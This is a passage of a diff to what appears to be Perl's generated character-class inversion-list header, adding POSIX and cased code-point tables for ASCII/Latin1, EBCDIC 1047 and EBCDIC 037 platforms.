+	0x1F18A
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_CASED_invlist[] = { /* for EBCDIC 037 */
+	293,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x42,
+	0x4A,
+	0x51,
+	0x5A,
+	0x62,
+	0x6A,
+	0x70,
+	0x79,
+	0x80,
+	0x8A,
+	0x8C,
+	0x8F,
+	0x91,
+	0x9D,
+	0x9E,
+	0x9F,
+	0xA0,
+	0xA1,
+	0xA2,
+	0xAA,
+	0xAC,
+	0xAF,
+	0xC1,
+	0xCA,
+	0xCB,
+	0xD0,
+	0xD1,
+	0xDA,
+	0xDB,
+	0xE0,
+	0xE2,
+	0xEA,
+	0xEB,
+	0xF0,
+	0xFB,
+	0xFF,
+	0x100,
+	0x1BB,
+	0x1BC,
+	0x1C0,
+	0x1C4,
+	0x294,
+	0x295,
+	0x2B9,
+	0x2C0,
+	0x2C2,
+	0x2E0,
+	0x2E5,
+	0x345,
+	0x346,
+	0x370,
+	0x374,
+	0x376,
+	0x378,
+	0x37A,
+	0x37E,
+	0x37F,
+	0x380,
+	0x386,
+	0x387,
+	0x388,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x3A2,
+	0x3A3,
+	0x3F6,
+	0x3F7,
+	0x482,
+	0x48A,
+	0x530,
+	0x531,
+	0x557,
+	0x561,
+	0x588,
+	0x10A0,
+	0x10C6,
+	0x10C7,
+	0x10C8,
+	0x10CD,
+	0x10CE,
+	0x13A0,
+	0x13F6,
+	0x13F8,
+	0x13FE,
+	0x1C80,
+	0x1C89,
+	0x1D00,
+	0x1DC0,
+	0x1E00,
+	0x1F16,
+	0x1F18,
+	0x1F1E,
+	0x1F20,
+	0x1F46,
+	0x1F48,
+	0x1F4E,
+	0x1F50,
+	0x1F58,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F7E,
+	0x1F80,
+	0x1FB5,
+	0x1FB6,
+	0x1FBD,
+	0x1FBE,
+	0x1FBF,
+	0x1FC2,
+	0x1FC5,
+	0x1FC6,
+	0x1FCD,
+	0x1FD0,
+	0x1FD4,
+	0x1FD6,
+	0x1FDC,
+	0x1FE0,
+	0x1FED,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FFD,
+	0x2071,
+	0x2072,
+	0x207F,
+	0x2080,
+	0x2090,
+	0x209D,
+	0x2102,
+	0x2103,
+	0x2107,
+	0x2108,
+	0x210A,
+	0x2114,
+	0x2115,
+	0x2116,
+	0x2119,
+	0x211E,
+	0x2124,
+	0x2125,
+	0x2126,
+	0x2127,
+	0x2128,
+	0x2129,
+	0x212A,
+	0x212E,
+	0x212F,
+	0x2135,
+	0x2139,
+	0x213A,
+	0x213C,
+	0x2140,
+	0x2145,
+	0x214A,
+	0x214E,
+	0x214F,
+	0x2160,
+	0x2180,
+	0x2183,
+	0x2185,
+	0x24B6,
+	0x24EA,
+	0x2C00,
+	0x2C2F,
+	0x2C30,
+	0x2C5F,
+	0x2C60,
+	0x2CE5,
+	0x2CEB,
+	0x2CEF,
+	0x2CF2,
+	0x2CF4,
+	0x2D00,
+	0x2D26,
+	0x2D27,
+	0x2D28,
+	0x2D2D,
+	0x2D2E,
+	0xA640,
+	0xA66E,
+	0xA680,
+	0xA69E,
+	0xA722,
+	0xA788,
+	0xA78B,
+	0xA78F,
+	0xA790,
+	0xA7AF,
+	0xA7B0,
+	0xA7B8,
+	0xA7F8,
+	0xA7FB,
+	0xAB30,
+	0xAB5B,
+	0xAB5C,
+	0xAB66,
+	0xAB70,
+	0xABC0,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFF21,
+	0xFF3B,
+	0xFF41,
+	0xFF5B,
+	0x10400,
+	0x10450,
+	0x104B0,
+	0x104D4,
+	0x104D8,
+	0x104FC,
+	0x10C80,
+	0x10CB3,
+	0x10CC0,
+	0x10CF3,
+	0x118A0,
+	0x118E0,
+	0x1D400,
+	0x1D455,
+	0x1D456,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D51E,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D552,
+	0x1D6A6,
+	0x1D6A8,
+	0x1D6C1,
+	0x1D6C2,
+	0x1D6DB,
+	0x1D6DC,
+	0x1D6FB,
+	0x1D6FC,
+	0x1D715,
+	0x1D716,
+	0x1D735,
+	0x1D736,
+	0x1D74F,
+	0x1D750,
+	0x1D76F,
+	0x1D770,
+	0x1D789,
+	0x1D78A,
+	0x1D7A9,
+	0x1D7AA,
+	0x1D7C3,
+	0x1D7C4,
+	0x1D7CC,
+	0x1E900,
+	0x1E944,
+	0x1F130,
+	0x1F14A,
+	0x1F150,
+	0x1F16A,
+	0x1F170,
+	0x1F18A
+};
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_POSIXALNUM_invlist[] = { /* for ASCII/Latin1 */
 	7,	/* Number of elements */
 	148565664, /* Version and data structure type */
 	1,	/* 0 if the list starts at 0;
 		   1 if it starts at the element beyond 0 */
 	0x0,
+	0x30,
+	0x3A,
+	0x41,
+	0x5B,
+	0x61,
+	0x7B
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_POSIXALNUM_invlist[] = { /* for EBCDIC 1047 */
+	15,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x81,
+	0x8A,
+	0x91,
+	0x9A,
+	0xA2,
+	0xAA,
+	0xC1,
+	0xCA,
+	0xD1,
+	0xDA,
+	0xE2,
+	0xEA,
+	0xF0,
+	0xFA
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_POSIXALNUM_invlist[] = { /* for EBCDIC 037 */
+	15,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x81,
+	0x8A,
+	0x91,
+	0x9A,
+	0xA2,
+	0xAA,
+	0xC1,
+	0xCA,
+	0xD1,
+	0xDA,
+	0xE2,
+	0xEA,
+	0xF0,
+	0xFA
+};
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_POSIXALPHA_invlist[] = { /* for ASCII/Latin1 */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x41,
+	0x5B,
+	0x61,
+	0x7B
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_POSIXALPHA_invlist[] = { /* for EBCDIC 1047 */
+	13,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x81,
+	0x8A,
+	0x91,
+	0x9A,
+	0xA2,
+	0xAA,
+	0xC1,
+	0xCA,
+	0xD1,
+	0xDA,
+	0xE2,
+	0xEA
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_POSIXALPHA_invlist[] = { /* for EBCDIC 037 */
+	13,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x81,
+	0x8A,
+	0x91,
+	0x9A,
+	0xA2,
+	0xAA,
+	0xC1,
+	0xCA,
+	0xD1,
+	0xDA,
+	0xE2,
+	0xEA
+};
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_POSIXBLANK_invlist[] = { /* for ASCII/Latin1 */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x9,
 	0xA,
-	0xE,
-	0x85,
-	0x86,
-	0x2028,
-	0x202A
+	0x20,
+	0x21
 };
 
-static const UV XPerlSpace_invlist[] = { /* for ASCII/Latin1 */
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_POSIXBLANK_invlist[] = { /* for EBCDIC 1047 */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x5,
+	0x6,
+	0x40,
+	0x41
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_POSIXBLANK_invlist[] = { /* for EBCDIC 037 */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x5,
+	0x6,
+	0x40,
+	0x41
+};
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_POSIXCNTRL_invlist[] = { /* for ASCII/Latin1 */
+	4,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x20,
+	0x7F,
+	0x80
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_POSIXCNTRL_invlist[] = { /* for EBCDIC 1047 */
+	26,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x4,
+	0x5,
+	0x6,
+	0x7,
+	0x8,
+	0xB,
+	0x14,
+	0x15,
+	0x17,
+	0x18,
+	0x1A,
+	0x1C,
+	0x20,
+	0x26,
+	0x28,
+	0x2D,
+	0x30,
+	0x32,
+	0x33,
+	0x37,
+	0x38,
+	0x3C,
+	0x3E,
+	0x3F,
+	0x40
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_POSIXCNTRL_invlist[] = { /* for EBCDIC 037 */
+	26,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x4,
+	0x5,
+	0x6,
+	0x7,
+	0x8,
+	0xB,
+	0x14,
+	0x16,
+	0x17,
+	0x18,
+	0x1A,
+	0x1C,
+	0x20,
+	0x25,
+	0x28,
+	0x2D,
+	0x30,
+	0x32,
+	0x33,
+	0x37,
+	0x38,
+	0x3C,
+	0x3E,
+	0x3F,
+	0x40
+};
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_POSIXDIGIT_invlist[] = { /* for ASCII/Latin1 */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x30,
+	0x3A
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_POSIXDIGIT_invlist[] = { /* for EBCDIC 1047 */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xF0,
+	0xFA
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_POSIXDIGIT_invlist[] = { /* for EBCDIC 037 */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xF0,
+	0xFA
+};
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_POSIXGRAPH_invlist[] = { /* for ASCII/Latin1 */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x21,
+	0x7F
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_POSIXGRAPH_invlist[] = { /* for EBCDIC 1047 */
+	29,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x4B,
+	0x51,
+	0x5A,
+	0x62,
+	0x6B,
+	0x70,
+	0x79,
+	0x80,
+	0x81,
+	0x8A,
+	0x91,
+	0x9A,
+	0xA1,
+	0xAA,
+	0xAD,
+	0xAE,
+	0xBD,
+	0xBE,
+	0xC0,
+	0xCA,
+	0xD0,
+	0xDA,
+	0xE0,
+	0xE1,
+	0xE2,
+	0xEA,
+	0xF0,
+	0xFA
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_POSIXGRAPH_invlist[] = { /* for EBCDIC 037 */
+	31,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x4B,
+	0x51,
+	0x5A,
+	0x5F,
+	0x60,
+	0x62,
+	0x6B,
+	0x70,
+	0x79,
+	0x80,
+	0x81,
+	0x8A,
+	0x91,
+	0x9A,
+	0xA1,
+	0xAA,
+	0xB0,
+	0xB1,
+	0xBA,
+	0xBC,
+	0xC0,
+	0xCA,
+	0xD0,
+	0xDA,
+	0xE0,
+	0xE1,
+	0xE2,
+	0xEA,
+	0xF0,
+	0xFA
+};
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_POSIXLOWER_invlist[] = { /* for ASCII/Latin1 */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x61,
+	0x7B
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_POSIXLOWER_invlist[] = { /* for EBCDIC 1047 */
+	7,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x81,
+	0x8A,
+	0x91,
+	0x9A,
+	0xA2,
+	0xAA
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_POSIXLOWER_invlist[] = { /* for EBCDIC 037 */
+	7,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x81,
+	0x8A,
+	0x91,
+	0x9A,
+	0xA2,
+	0xAA
+};
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_POSIXPRINT_invlist[] = { /* for ASCII/Latin1 */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x20,
+	0x7F
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_POSIXPRINT_invlist[] = { /* for EBCDIC 1047 */
+	31,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x40,
+	0x41,
+	0x4B,
+	0x51,
+	0x5A,
+	0x62,
+	0x6B,
+	0x70,
+	0x79,
+	0x80,
+	0x81,
+	0x8A,
+	0x91,
+	0x9A,
+	0xA1,
+	0xAA,
+	0xAD,
+	0xAE,
+	0xBD,
+	0xBE,
+	0xC0,
+	0xCA,
+	0xD0,
+	0xDA,
+	0xE0,
+	0xE1,
+	0xE2,
+	0xEA,
+	0xF0,
+	0xFA
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_POSIXPRINT_invlist[] = { /* for EBCDIC 037 */
+	33,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x40,
+	0x41,
+	0x4B,
+	0x51,
+	0x5A,
+	0x5F,
+	0x60,
+	0x62,
+	0x6B,
+	0x70,
+	0x79,
+	0x80,
+	0x81,
+	0x8A,
+	0x91,
+	0x9A,
+	0xA1,
+	0xAA,
+	0xB0,
+	0xB1,
+	0xBA,
+	0xBC,
+	0xC0,
+	0xCA,
+	0xD0,
+	0xDA,
+	0xE0,
+	0xE1,
+	0xE2,
+	0xEA,
+	0xF0,
+	0xFA
+};
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_POSIXPUNCT_invlist[] = { /* for ASCII/Latin1 */
+	9,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x21,
+	0x30,
+	0x3A,
+	0x41,
+	0x5B,
+	0x61,
+	0x7B,
+	0x7F
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_POSIXPUNCT_invlist[] = { /* for EBCDIC 1047 */
 	21,	/* Number of elements */
 	148565664, /* Version and data structure type */
 	1,	/* 0 if the list starts at 0;
 		   1 if it starts at the element beyond 0 */
 	0x0,
+	0x4B,
+	0x51,
+	0x5A,
+	0x62,
+	0x6B,
+	0x70,
+	0x79,
+	0x80,
+	0xA1,
+	0xA2,
+	0xAD,
+	0xAE,
+	0xBD,
+	0xBE,
+	0xC0,
+	0xC1,
+	0xD0,
+	0xD1,
+	0xE0,
+	0xE1
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_POSIXPUNCT_invlist[] = { /* for EBCDIC 037 */
+	23,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x4B,
+	0x51,
+	0x5A,
+	0x5F,
+	0x60,
+	0x62,
+	0x6B,
+	0x70,
+	0x79,
+	0x80,
+	0xA1,
+	0xA2,
+	0xB0,
+	0xB1,
+	0xBA,
+	0xBC,
+	0xC0,
+	0xC1,
+	0xD0,
+	0xD1,
+	0xE0,
+	0xE1
+};
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_POSIXSPACE_invlist[] = { /* for ASCII/Latin1 */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
 	0x9,
 	0xE,
 	0x20,
-	0x21,
+	0x21
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_POSIXSPACE_invlist[] = { /* for EBCDIC 1047 */
+	9,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x5,
+	0x6,
+	0xB,
+	0xE,
+	0x15,
+	0x16,
+	0x40,
+	0x41
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_POSIXSPACE_invlist[] = { /* for EBCDIC 037 */
+	9,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x5,
+	0x6,
+	0xB,
+	0xE,
+	0x25,
+	0x26,
+	0x40,
+	0x41
+};
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_POSIXUPPER_invlist[] = { /* for ASCII/Latin1 */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x41,
+	0x5B
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_POSIXUPPER_invlist[] = { /* for EBCDIC 1047 */
+	7,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xC1,
+	0xCA,
+	0xD1,
+	0xDA,
+	0xE2,
+	0xEA
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_POSIXUPPER_invlist[] = { /* for EBCDIC 037 */
+	7,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0xC1,
+	0xCA,
+	0xD1,
+	0xDA,
+	0xE2,
+	0xEA
+};
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_POSIXWORD_invlist[] = { /* for ASCII/Latin1 */
+	9,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x30,
+	0x3A,
+	0x41,
+	0x5B,
+	0x5F,
+	0x60,
+	0x61,
+	0x7B
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_POSIXWORD_invlist[] = { /* for EBCDIC 1047 */
+	17,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x6D,
+	0x6E,
+	0x81,
+	0x8A,
+	0x91,
+	0x9A,
+	0xA2,
+	0xAA,
+	0xC1,
+	0xCA,
+	0xD1,
+	0xDA,
+	0xE2,
+	0xEA,
+	0xF0,
+	0xFA
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_POSIXWORD_invlist[] = { /* for EBCDIC 037 */
+	17,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x6D,
+	0x6E,
+	0x81,
+	0x8A,
+	0x91,
+	0x9A,
+	0xA2,
+	0xAA,
+	0xC1,
+	0xCA,
+	0xD1,
+	0xDA,
+	0xE2,
+	0xEA,
+	0xF0,
+	0xFA
+};
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
